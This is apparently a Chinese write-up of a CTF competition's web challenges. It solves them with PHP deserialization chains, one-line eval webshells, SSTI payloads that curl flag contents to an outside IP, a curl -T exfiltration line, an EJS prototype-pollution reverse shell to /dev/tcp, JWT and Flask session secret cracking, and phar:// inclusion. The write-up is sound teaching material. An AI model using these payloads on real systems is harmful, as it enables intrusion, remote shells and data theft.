最后排名 9/2049
。
玩脱了,以为28结束,囤的一些flag没交上去。我真该死啊QAQ
前言:这次极客平台太安全了谷歌不给抓包,抓包用burp自带浏览器。
密码查看源码->robots.txt->o2takuXX’s_username_and_password.txt获得
postman一把梭。
唯一要注意的就是最后要求$_SERVER['HTTP_O2TAKUXX']=="GiveMeFlag"
** S E R V E R ∗ ∗ 超全局变量保存关于报头、路径和脚本位置的信息。 ‘ _SERVER** 超全局变量保存关于报头、路径和脚本位置的信息。` SERVER∗∗超全局变量保存关于报头、路径和脚本位置的信息。‘_SERVER[‘HTTP_O2TAKUXX’]就是http头中的参数
O2TAKUXX`。
直接给了源码:
简单php反序列化,链子是syc::__destruct()->lover::__invoke()->web::__get()
EXP:
highlight_file(__FILE__);
class syc
{
public $cuit;
public function __destruct()
{
echo("action!
");
$function=$this->cuit;
return $function();
}
}
class lover
{
public $yxx;
public $QW;
public function __invoke()
{
echo("invoke!
");
return $this->yxx->QW;
}
}
class web
{
public $eva1;
public $interesting;
public function __get($var)
{
echo("get!
");
$eva1=$this->eva1;
$eva1($this->interesting);
}
}
//syc::__destruct()->lover::__invoke()->web::__get()
$a=new syc();
$a->cuit=new lover();
$a->cuit->yxx=new web();
$a->cuit->yxx->eva1='system';
$a->cuit->yxx->interesting='tac /flag';
echo serialize($a);
?>
文件上传,简单测了一下只给传.php
后缀????
同时木马= @eval($_POST[1]);?>
可行,但是木马不给传,二分法测试应该是整段过滤。。。。
尝试访问uploadtest/391284_653a70260a272.php
。getshell
都是一些php基础绕过,不再讲了,直接给payload:
GET:
?syc=welcome%20to%20GEEK%202023!&lover=1e9
POST:
SYC[GEEK.2023=1&SYC[GEEK.2023=Happy to see you!&qw=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&yxx=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1
题目描述:命令执行?真的吗?
直接给了源码
粗略一看,断绝了curl读取文件的可能。
但是不难发现,直接给出了flag路径,而且题目描述提示不用命令执行。
查找所有curl命令的使用,发现可以使用无回显RCE中的http 信道带出文件内容:
payload:
?addr=xxxxxx.requestrepo.com -T /tmp/Syclover
可行!成功带出了flag文件/tmp/Syclover
!
题目描述:管理员为了flag不被发现,一顿操作后,自己都不知道访问的密码了 QAQ
开题是一个登录界面
未登录界面,源码里面有访客密码 和 验证密码获得flag的路由/flag
,传参?pass
登录后的界面/upload
,源码中有不可见提示csrf token 10 秒失效
(由此判断我们需要用自动化脚本),源码中还有前端js源码,暴露了所有路由。
/file-list
:列出当前已上传且未被删除的文件列表
/new-csrf-token
:获取和设置新的 CSRF 令牌
登录后随便传一个文件,后缀自动改成了.key
初始jwt的密钥就是password用户的密码123456
看看登录后的页面,管理员密码是一直在变的,由我们上传的临时文件内容决定。
重开环境。之前所有步骤都抓包看看包。
未登录的包(啥都没有)
登录时候的包(啥都没有,账号密码json传参)
登录后的包(只有jwt-token,不变的)
上传文件时候的包
访问路由/new-csrf-token
获取动态csrf密钥的包(只有jwt-token,不变的)
访问路由/flag
验证身份的包(只有jwt-token,不变的)
1、可以肯定的是我们要在十秒内(csrf token有效期)上传四个及以上文件,手动上传不用考虑csrf token,因为js源码中上传时候会自动更新,就是担心30s内无法上传+验证。但是这个如果要通过自动化脚本实现很容易,同时我们可以传一次文件更新一次csrf token,确保脚本可以一直运行下去。
2、验证究竟是如何验证呢?题目源码给的提示是/flag?pass=123456
,应该是在这个路由验证了而不是直接/login
路由登录。
3、验证方式是什么?一开始我误以为传参?pass=四个文件内容
就可以了,但是经过几小时失败,以及前文提到的jwt密钥就是password的密码123456
,不难意识到jwt也是一重验证。
4、jwt如何改?前文提到的jwt密钥就是password的密码123456
,虽然password的初始jwt+密码123456无法通过验证,但是我们验证admin身份还是需要?pass=四个文件内容=admin密码
+用户admin,密钥admin密码1111的jwt。
这里有一个坑点,就是我们脚本中 获取csrf token、上传文件、读取文件列表时候附带的jwt密钥需要改改,密码还是123456
,但是用户得是admin
!
这个也是试出来的,20:00开赛,脚本从11:00改到第二天凌晨。。。。。
具体为什么用户名要改成admin,个人暂时想法如下:
1、可行性:题目环境中jwt改了用户名没事,改了密钥就直接无效了。
2、必要性:也许用户只能读取以自己身份写入的文件,比如我password用户写入的文件,admin是无法读取的,所以对admin来说没有文件,就没有由四个文件构成的密码了。
查看脚本运行结果,验证上述必要性:
可以看到,文件确实是分用户的,JWT如果是admin用户,上传的文件名命名是admin-0xx.key
,JWT如果是password用户,上传的文件名命名是password-0xx.key
。(个人感觉这个是一个混淆点,一开始让我误以为文件名字意思是这个是密码文件,而不是password用户文件)
最后脚本如下:
#Jay17
import json
import requests
import threading
#靶机地址
url = "https://rhk4wscflc7hgds1uoth4z1xd.node.game.sycsec.com"
session = requests.session()
# 往下两行的filename是表单字段名,抓包获得。
file = {
'filename': ('1.txt', '1', 'text/plain') # 请求头Content-Type字段对应的值,手动抓的包里面看
}
#password用户登录的jwt,自己修改成admin用户,jwt密钥还是123456不变
jwttoken = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjk4MzgyNTUzfQ.iSuLQGSzXqS0OHnV6Md5i7v8pDuIVIYa1m22A6cfNP0'
# 写文件方法,不停的写,burp代理(proxies)可以看看请求包(极客不给抓包,其他比赛可以)
def write():
while True:
# 获取动态csrf密钥
r = session.get(url=url + "/new-csrf-token",
cookies={'jwt-token': jwttoken}) # ,proxies={"http":"127.0.0.1:8080"})
print(r.text)
csrf = r.text
# 上传文件
data = {'yak-token': csrf}
r = session.post(url=url + "/upload", data=data, files=file,
cookies={'jwt-token': jwttoken}) # ,proxies={"http":"127.0.0.1:8080"})
print(r.text)
# 读文件列表、自动登录验证
def read():
while True:
# 读取文件
r = session.get(url=url + "/file-list", cookies={'jwt-token': jwttoken}) # ,proxies={"http":"127.0.0.1:8080"})
print(r.text)
#登录验证
#jwt是admin用户,jwt密钥是四个文件连起来内容1111
r=session.get(url=url + "/flag?pass=1111", cookies={'jwt-token': 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjk4MzgyNTUzfQ.PoFcmmc6hUksjK_Rtu6U647GrCiO392DeE5CU51Wx_c'})
print()
print(r.status_code)
# print(r.headers)
# print(r.cookies['jwt-token'])
# print(r.cookies)
print(r.text)
# 双线程,不停写不停读和验证
threads = [threading.Thread(target=write), threading.Thread(target=read)]
for t in threads:
t.start()
最后运行脚本得到flag
开题。
经过一系列信息搜集(源码,扫后台),发现我们的SSTI入口应该是/hack?klf=xxx
不知道是哪个语言的ssti,传入什么都返回klf别想
,如{{7*7}}
、123
。服务是由nginx
支持的,盲猜Python的SSTI,先fuzz一波。
没有fuzz出过滤,但是可以发现,确实是存在SSTI,比如只传入{{
时会500 Internal Server Error
不过啥都无回显,不知道执行成功没有。。
/hack?klf={{config.__class__.__init__.__globals__['os'].popen('tac /f*').read()}}
先拿curl命令测一波,发现命令确实能执行成功!!!
/hack?klf={{config.__class__.__init__.__globals__['os'].popen('curl 120.46.41.173:9023').read()}}
http信道带出数据,md出题人藏flag…
/hack?klf={{config.__class__.__init__.__globals__['os'].popen('curl 120.46.41.173:9023/`ls /app/f*`').read()}}
/hack?klf={{config.__class__.__init__.__globals__['os'].popen('curl 120.46.41.173:9023/`tac /app/fl4gfl4gfl4g`').read()}}
直接给了源码:
highlight_file(__FILE__);
class syc{
public $lover;
public function __destruct()
{
eval($this->lover);
}
}
if(isset($_GET['web'])){
if(!preg_match('/lover/i',$_GET['web'])){
$a=unserialize($_GET['web']);
throw new Error("快来玩快来玩~");
}
else{
echo("nonono");
}
}
?>
我们只需要绕过对lover
的正则匹配和抛出错误即可。
绕过方式为十六进制+GC回收。
十六进制:PHP反序列化 | Y4tacker’s Blog (gitee.io)
O:4:"test":2:{s:4:"xxxa";s:3:"abc";s:7:"asdfrew";s:3:"def";}
可以写成
O:4:"test":2:{S:4:"xxx\61";s:3:"abc";s:7:"asdfrew";s:3:"def";}
表示字符类型的s大写为S时,会被当成16进制解析。
GC回收可以看这篇:绕过__wakeup() 反序列化 合集_Jay 17的博客-CSDN博客
EXP:
class syc{
public $lover;
public function __destruct()
{
eval($this->lover);
}
}
$a=new syc();
$a->lover="phpinfo();";
echo serialize($a);
?>
生成payload:
O:3:"syc":1:{s:5:"lover";s:10:"phpinfo();";}
改成如下所示,利用十六进制和GC绕过限制。
O:3:"syc":1:{S:5:"lo\76er";s:10:"phpinfo();";
难崩的是,这里有disable fuction
。不能直接执行命令了。
那我们起手连蚁剑,接下来讲讲怎么连蚁剑。
先写个转接头:
GET:?web=O:3:"syc":1:{S:5:"lo\76er";s:18:"assert($_POST[1]);";
POST:1=要执行的代码
然后连蚁剑,测试发现爆红。
解决办法是将https
改成http
。(https太安全了呜呜呜)编码器记得选base64
蚁剑还是很好用的,总动列出了所有可用的函数,并且蚁剑会用这些函数自动进行相关文件操作,可视化的显示给我们。
flag在根目录/f1ger
文件中,但是直接打开不显示内容。
蚁剑有自带绕过功能,如果直接查看flag文件没权限,可以试试在虚拟终端cat /flag。
开题。
给了源码
反编译之后是这样的:
import os, uuid
from flask import Flask, render_template, request, redirect
app = Flask(__name__)
ARTICLES_FOLDER = 'articles/'
articles = []
class Article:
def __init__(self, article_id, title, content):
self.article_id = article_id
self.title = title
self.content = content
def generate_article_id():
return str(uuid.uuid4())
@app.route('/')
def index():
return render_template('index.html', articles=articles)
@app.route('/upload', methods=['GET', 'POST'])
def upload():
if request.method == 'POST':
title = request.form['title']
content = request.form['content']
article_id = generate_article_id()
article = Article(article_id, title, content)
articles.append(article)
save_article(article_id, title, content)
return redirect('/')
else:
return render_template('upload.html')
@app.route('/article/' )
def article(article_id):
for article in articles:
if article.article_id == article_id:
title = article.title
sanitized_title = sanitize_filename(title)
article_path = os.path.join(ARTICLES_FOLDER, sanitized_title)
with open(article_path, 'r') as (file):
content = file.read()
return render_template('articles.html', title=sanitized_title, content=content, article_path=article_path)
return render_template('error.html') # 如果找不到对应的文章,则返回错误页面
def save_article(article_id, title, content):
sanitized_title = sanitize_filename(title)
article_path = ARTICLES_FOLDER + '/' + sanitized_title
with open(article_path, 'w') as (file):
file.write(content)
def sanitize_filename(filename): #过滤函数,被过滤的字符都替换成下划线
sensitive_chars = [
':',
'*',
'?',
'"',
'<',
'>',
'|',
'.']
for char in sensitive_chars:
filename = filename.replace(char, '_')
return filename
if __name__ == '__main__':
app.run(debug=True)
继续信息搜集,查看源码发现flag应该在/f14444
,同时有两个路由/home
和/upload
。
博客存在python控制台,有读取文件计算PIN码进控制台执行命令的可能。(可行的方法,文件都能读,不做了)
我们先计算PIN码来读取源文件,反编译的源码可能不全。
1.username
通过getpass.getuser()读取或者通过文件读取/etc/passwd2.modname
通过getattr(mod,“file”,None)读取,默认值为flask.app3.appname
通过getattr(app,“name”,type(app).name)读取,默认值为Flask4.moddir
flask库下app.py的绝对路径、当前网络的mac地址的十进制数,通过getattr(mod,“file”,None)读取实际应用中通过报错读取,如传参的时候给个不存在的变量5.uuidnode
mac地址的十进制,通过uuid.getnode()读取,通过文件/sys/class/net/eth0/address得到16进制结果,转化为10进制进行计算6.machine_id
机器码,每一个机器都会有自已唯一的id,(Linux下)machine_id由三个合并(docker就后两个):1./etc/machine-id
2./proc/sys/kernel/random/boot_id
3./proc/self/cgroup
(第一行的/docker/字符串后面的内容)
一般生成pin码不对就是这错了
依次读取文件:(虽然可以直接读取flag呜呜)
1.username :root
2.modname:flask.app
3.appname:Flask
4.moddir:/usr/local/lib/python3.9/site-packages/flask/app.py
5.uuidnode:253636626821197
6.machine_id:31e70710-1d09-4cda-bc57-a7a012a89ef7docker-8220349aefd48f822d7435a7eaac7697e4c8fdfaa6d1ee4660ce6ca65047fc2c.scope
计算PIN码脚本:
#sha1
import hashlib
from itertools import chain
probably_public_bits = [
'root'# /etc/passwd
'flask.app',# 默认值
'Flask',# 默认值
'/usr/local/lib/python3.9/site-packages/flask/app.py' # 报错得到
]
private_bits = [
'253636626821197',# /sys/class/net/eth0/address 16进制转10进制
#machine_id由三个合并(docker就后两个):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup
#'653dc458-4634-42b1-9a7a-b22a082e1fce55d22089f5fa429839d25dcea4675fb930c111da3bb774a6ab7349428589aefd'# /proc/self/cgroup
#'docker-8220349aefd48f822d7435a7eaac7697e4c8fdfaa6d1ee4660ce6ca65047fc2c.scope' # /proc/self/cgroup
#'31e70710-1d09-4cda-bc57-a7a012a89ef7' #/proc/sys/kernel/random/boot_id
'31e70710-1d09-4cda-bc57-a7a012a89ef7docker-8220349aefd48f822d7435a7eaac7697e4c8fdfaa6d1ee4660ce6ca65047fc2c.scope' #/proc/sys/kernel/random/boot_id+/proc/self/cgroup
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
笑。。。。执行不了一点,不知道为什么。
PIN码可行,我们做别的方法Python 中的路径穿越
。
参考:警惕: Python 中的路径穿越_zzzzls~的博客-CSDN博客
# os.path.join
>>> os.path.join('/home/download', '../../opt/logo.png')
/home/download/../../opt/logo.png
# pathlib
>>> pathlib.Path('/home/download') / '../../opt/logo.png'
/home/download/../../opt/logo.png
【如果某个部分为绝对路径,则之前的所有部分都会被丢弃并从绝对路径开始继续拼接】
# os.path.join
>>> os.path.join('/home/download', '/opt/logo.png')
/opt/logo.png
# pathlib
>>> pathlib.Path('/home/download') / '/opt/logo.png'
/opt/logo.png
阅读源码,源码反编译有点不全,但是看有路径拼接,猜测/home
路由也是路径拼接,用到了os.path.join()
或者pathlib.Path()
方法,所以造成了上述python路径穿越漏洞。
存的时候应该是articles/+什么什么。读的时候以为特性直接就读后半段绝对路径了,比如/etc/passwd
。
所以,根目录下flag文件直接读取就好啦:
源码反编译有点问题,做完后去找出题人姐姐要了一下源码:
import os
import uuid
from flask import Flask, render_template, request, redirect
app = Flask(__name__)
ARTICLES_FOLDER = 'articles/'
articles = []
class Article:
def __init__(self, article_id, title, content):
self.article_id = article_id
self.title = title
self.content = content
def generate_article_id():
return str(uuid.uuid4())
@app.route('/')
def index():
return render_template('index.html', articles=articles)
@app.route('/home')
def home():
return render_template('home.html', articles=articles)
@app.route('/upload', methods=['GET', 'POST'])
def upload():
if request.method == 'POST':
title = request.form['title']
content = request.form['content']
article_id = generate_article_id()
article = Article(article_id, title, content)
articles.append(article)
save_article(article_id, title, content)
return redirect('/home')
else:
return render_template('upload.html')
@app.route('/article/' )
def article(article_id):
for article in articles:
if article.article_id == article_id:
title = article.title
sanitized_title = sanitize_filename(title)
article_path = os.path.join(ARTICLES_FOLDER, sanitized_title)
with open(article_path, 'r') as file:
content = file.read()
return render_template('articles.html', title=sanitized_title, content=content, article_path=article_path)
return render_template('error.html') # 如果找不到对应的文章,则返回错误页面
def save_article(article_id, title, content):
sanitized_title = sanitize_filename(title)
article_path = ARTICLES_FOLDER + '/' + sanitized_title
with open(article_path, 'w') as file:
file.write(content)
def sanitize_filename(filename):
# 替换敏感字符为下划线 _
sensitive_chars = [':', '*', '?', '"', '<', '>', '|','.']
for char in sensitive_chars:
filename = filename.replace(char, '_')
return filename
if __name__ == '__main__':
app.run(debug=True, host='0.0.0.0',port=5000)
有os.path.join()
方法,猜测成立!
二血拿下。
开题,源码没东西。
注册+登录试试,提示我们要成为教练。
验证身份的方式是session。
eyJpc19hZG1pbiI6ZmFsc2UsIm5hbWUiOiJ7eyc3JyonNyd9fSIsInVzZXJfaWQiOjJ9.ZUOS4Q.vDzAPCyc9MEptQx5vBZLVvEnSDo
扫出robots.txt
访问/3ysd8.html
得到session密钥生成方式,
两端不变,密钥中间三位爆破。
爆破session密钥脚本:
import itertools
import flask_unsign
from flask_unsign.helpers import wordlist
import requests as r
import time
import re
import sys
path = "wordlist.txt"
print("Generating wordlist... ")
with open(path,"w") as f:
#permutations with repetition
[f.write('wanbao'+"".join(x)+'=wanbao'+"\n") for x in itertools.product('0123456789abcdefghijklmnopqrstuvwxyzQWERTYUIOPLKJHGFDSAZXCVBNM', repeat=3)] #加上前缀
#url = "http://47.115.201.35:8000/index"
#cookie_tamper = r.head(url).cookies.get_dict()['session']
cookie_tamper='eyJpc19hZG1pbiI6ZmFsc2UsIm5hbWUiOiIxMSIsInVzZXJfaWQiOjJ9.ZUOXIQ.PPWPtlyo0NR_mm1V_pdrQOLy240'
print("Got cookie: " + cookie_tamper)
print("Cracker Started...")
obj = flask_unsign.Cracker(value=cookie_tamper)
before = time.time()
with wordlist(path, parse_lines=False) as iterator:
obj.crack(iterator)
secret = ""
if obj.secret:
secret =obj.secret.decode()
print(f"Found SECRET_KET {secret} in {time.time()-before} seconds")
signer = flask_unsign.sign({"time":time.time(),"authorized":True},secret=secret)
flask-unsign工具用法
解密session:flask-unsign --decode --cookie '获得的session'
爆破密钥:flask-unsign --unsign --cookie '获得的session'
加密session:flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
爆破指定字典:flask-unsign --unsign --cookie 'xxx --wordlist key.txt
flask-unsign工具解密session
flask-unsign --decode --cookie 'eyJpc19hZG1pbiI6ZmFsc2UsIm5hbWUiOiIxMSIsInVzZXJfaWQiOjJ9.ZUOXIQ.PPWPtlyo0NR_mm1V_pdrQOLy240'
flask-unsign工具伪造session
flask-unsign --sign --cookie "{'is_admin': True, 'name': '11', 'user_id': 2}" --secret 'wanbaoNjI=wanbao'
获得伪造成admin后的session。
eyJpc19hZG1pbiI6dHJ1ZSwibmFtZSI6IjExIiwidXNlcl9pZCI6Mn0.ZUOXlA.-dQNWRyZdmqiw5XrR8P6IceeJDU
用admin身份就直接得到flag。
直接给了源码。
一眼无参数RCE,过滤了env|var|session|header
注释提示当前目录下有好康的,那就先看看当前目录的文件结构
print_r(scandir(getcwd()));
flag应该在当前目录下[email protected]
文件中。
但是这个文件不在返回的目录数组的头尾,我们一般的payload如show_source(next(array_reverse(scandir(getcwd()))));
无法读取到flag。
知识点:
array_rand(): 从数组中取出一个或者多个单元,并且返回随机条目的一个或者多个键。
array_flip():读取当前目录的键和值进行交换,如果失败返回 NULL。array_flip()和array_rand()配合使用可随机返回当前目录下的文件名。因为其中的键可以利用随机数函数array_rand(),进行随机生成。
payload:(多发几次,随机返回当前目录下的文件内容,会返回flag的)
?var=show_source(array_rand(array_flip(scandir(getcwd()))));
开题,需要我们伪造身份为admin,然后访问/source
路由
验证admin
身份用的是JWT
无法用常见方法伪造JWT,源码给了hint。
密钥应该就是VanZY
当然,如果和我一样一开始没看见hint,我们爆破密钥也能出来,毕竟才五位数,毕竟一晚上挂机就行(难崩
成功伪造成admin
身份后返回了源码:
const express = require('express');
const jwt = require('jsonwebtoken');
const app = express();
const bodyParser = require('body-parser')
const path = require('path');
const jwt_secret = "VanZY";
const cookieParser = require('cookie-parser');
const putil_merge = require("putil-merge")
app.set('views', './views');
app.set('view engine', 'ejs');
app.use(cookieParser());
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
var Super = {};
var safecode = function (code) {
let validInput = /global|mainModule|import|constructor|read|write|_load|exec|spawnSync|stdout|eval|stdout|Function|setInterval|setTimeout|var|\+|\*/ig;
return !validInput.test(code);
};
app.all('/code', (req, res) => {
res.type('html');
if (req.method == "POST" && req.body) {
putil_merge({}, req.body, {deep: true});
}
res.send("welcome to code");
});
app.all('/hint', (req, res) => {
res.type('html');
res.send("I heard that the challenge maker likes to use his own id as secret_key");
});
app.get('/source', (req, res) => {
res.type('html');
var auth = req.cookies.auth;
jwt.verify(auth, jwt_secret, function (err, decoded) {
try {
if (decoded.user === 'admin') {
res.sendFile(path.join(__dirname + '/index.js'));
} else {
res.send('you are not admin ');
}
} catch {
res.send("Fuck you Hacker!!!")
}
});
});
app.all('/create', (req, res) => {
res.type('html');
if (!req.body.name || req.body.name === undefined || req.body.name === null) {
res.send("please input name");
} else {
if (Super['userrole'] === 'Superadmin') {
res.render('index', req.body);
} else {
if (!safecode(req.body.name)) {
res.send("你在做什么?快停下!!!")
} else {
res.render('index', {name: req.body.name});
}
}
}
});
app.get('/', (req, res) => {
res.type('html');
var token = jwt.sign({'user': 'guest'}, jwt_secret, {algorithm: 'HS256'});
res.cookie('auth ', token);
res.end('Only admin can get source in /source');
});
app.listen(3000, () => console.log('Server started on port 3000'));
核心代码:
var safecode = function (code) { //过滤函数
//使用了 i(不区分大小写)和 g(全局搜索)标志
let validInput = /global|mainModule|import|constructor|read|write|_load|exec|spawnSync|stdout|eval|Function|setInterval|setTimeout|var|\+|\*/ig;
return !validInput.test(code);
};
app.all('/code', (req, res) => {
res.type('html');
if (req.method == "POST" && req.body) {
//污染基类入口
putil_merge({}, req.body, {deep: true});
}
res.send("welcome to code");
});
app.all('/create', (req, res) => {
res.type('html');
if (!req.body.name || req.body.name === undefined || req.body.name === null) {
res.send("please input name");
} else {
if (Super['userrole'] === 'Superadmin') {
//渲染,原型链污染造成命令执行,反弹shell
res.render('index', req.body);
} else {
if (!safecode(req.body.name)) {
res.send("你在做什么?快停下!!!")
} else {
res.render('index', {name: req.body.name});
}
}
}
});
思路很简单,我们首先在/code
路由污染Super
的父类即基类Object
,使基类Object
的属性userrole
满足条件。在/create
路由判断时候,由于Super
类找不到属性userrole
,会去找基类Object
的属性userrole
。
在res.render('index', req.body);
处执行渲染,req.body
可控,直接打ejs原型链污染的payload即可RCE。
流程是在/code
路由污染完,去/create
路由渲染,解析了被污染的,RCE。
获取基类Object
方法:
/code
路由下payload。
{"constructor":{"prototype":{"settings":{"view options":{"escapeFunction":"console.log;this.global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/120.46.41.173/9023 <&1\"');","client":"true"}},"userrole":"Superadmin"}}}
/create
路由下payload。
{"name":"Jay17"}
vps收到shell后,在根目录下找到flag。
开题,是一个文件上传界面。测了一下只能上传.zip
后缀。
查看源码,发现一个包含功能的文件/include.php
/include.php
源码如下:
//o2takuXX师傅说有问题,忘看了。
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);
$file = $_GET['file'];
if(isset($file) && strtolower(substr($file, -4)) == ".jpg"){
include($file);
}
?>
可以%00
截断,但是无法读取文件。
换种方法,我们用phar://
协议。phar://
协议可以读取任意后缀压缩包中的内容,如.zip
。
条件:
1、php.ini里面,phar.readonly改成Off,去掉前面的分号。
2、有参数是 string形式的文件名称 ($filename)的函数
3、能上传任意后缀(jpg都行)的phar包。
4、有可利用的文件操作函数,并控制了协议头,使用phar协议解析**用法例子:**filesize(“phar://xxx.phar”);
先上传一个1.zip
文件,其中包含一句话马,马文件后缀是.jpg
。
payload:
GET:
/include.php?file=phar:///var/www/upload/1.zip/1.jpg
POST:
1=system('tac /flag');
题目描述:快来找flag!(文件上传的目录为 “/upload”)
开题登陆界面,账号密码在源码中
登陆后有上传头像功能,但是user用户无权限上传头像。
直接改用户名为admin
也无权限上传头像。身份校验方式是JWT。
密钥不知道,直接脚本爆破,得到密钥是yibao
import jwt
token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJRaW5nd2FuIiwibmFtZSI6InVzZXIiLCJhZG1pbiI6ImZhbHNlIn0.gzCFCz2Hw5c_EIjcM2lQ2QL3aDW3rAAHU2ZQ50_tnY4" # 题目中的 token
#password_file = "C:\\Users\\86159\\PycharmProjects\\pythonProject\\WEB-xxx\\JWT\\jwtpassword.txt" # 密码字典文件
password_file = "../wordlist.txt" # 枚举密码字典文件
with open(password_file,'rb') as file:
for line in file:
line = line.strip() # 去除每行后面的换行
try:
jwt.decode(token, verify=True, key=line, algorithms="HS256") # 设置编码方式为 HS256
print('key: ', line.decode('ascii'))
break
except (jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError
, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError,
jwt.exceptions.ImmatureSignatureError): # 出现这些错误,虽然表示过期之类的错误,但是密钥是正确的
print("key: ", line.decode('ascii'))
break
except jwt.exceptions.InvalidSignatureError: # 签名错误则表示密钥不正确
print("Failed: ", line.decode('ascii'))
continue
else:
print("Not Found.")
有了密钥就能伪造JWT了。
直接上马:
访问,getshell。访问不到,看了看上传界面源码,文件名是处理过的。。
先本地跑一下看看啦,php版本是8。本地可以跑出时间戳和文件名。
思路是上传成功后,马上本地查看时间戳。然后写php脚本生成时间戳前后30,一共60个文件名,直接burp爆破。
上传文件时大概的时间戳:
脚本如下:
function php_mt_seed($seed)
{
mt_srand($seed);
}
//1700575026
for ($seed = 1700575000; $seed < 1700575056; $seed++) {
php_mt_seed($seed);
$characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$newFileName = '';
for ($i = 0; $i < 10; $i++) {
$newFileName .= $characters[mt_rand(0, strlen($characters) - 1)];
}
echo "\n".$newFileName;
}
?>
burp爆破结果如下:
访问,getshell。
题目描述:亲爱的Syclover,你能找到flag吗???
hint:有一步是rc4解密
开题,是一个基于PHP环境的文件读取功能界面。
源码里面有hint
抽象之hint文件在/var
目录下。。。。
?file=/var/hint
secret为:
w5YubyBvd08gMHcwIG92MCDDlndvIE8ubyAwLjAgMC5vIMOWdjAgMHbDliBPdjAgT3fDliBvLk8gw5Z2TyAwXzAgMF9PIG8uTyAwdjAgw5ZfbyBPd28gw5Z2TyDDli5PIMOWXzAgTy5PIMOWXzAgMHbDliAwLjAgw5Z2w5Ygw5Z3MCBPdsOWIMOWdjAgT1/DliDDlnZPIMOWLk8gw5Z3MCBvd8OWIMOWLm8gTy5vIMOWXzAgMHbDliDDlndvIE93w5YgTy5vIE93TyBvX28gw5YuTyBvLm8gb3dPIMOWXzAgb3dPIMOWXzAgMHZvIG8uTyBPd8OWIE92byAwLsOWIMOWdjAgTy7DliAwLjAgMHfDliBvLsOWIG93byBvdzAgMHZvIMOWLm8gb3dPIG9fMCDDli5PIG9fbyBPd8OWIE8ubyBvdzAgw5ZfbyBvd28gw5YuMCDDlnZPIG9fTyBPLsOWIE92MCBPdzAgby7DliAwdjAgT3YwIE9fTyBvLk8gT3bDliDDlnYwIMOWXzAgw5Z3byBvd08gT19vIE93w5Ygby5PIMOWdk8gby4wIDBfMCDDll9vIG93TyBPXzAgMC7DliDDli5vIE8uTyBPdzAgT19vIMOWdjAgb3cwIMOWdjAgT18wIMOWdm8gw5Z2w5Ygw5ZfbyAwX8OWIMOWdm8gw5Z2w5YgMHcwIE92w5Ygw5YubyDDli4wIMOWLm8gb3ZvIMOWLjAgw5YuMCAwd28gb3dPIG8uTyAwd8OWIDB2MCBvd8OWIMOWdzAgw5YubyAwdzAgT1/DliBvX08gw5Z2byAg
base64解码一次:
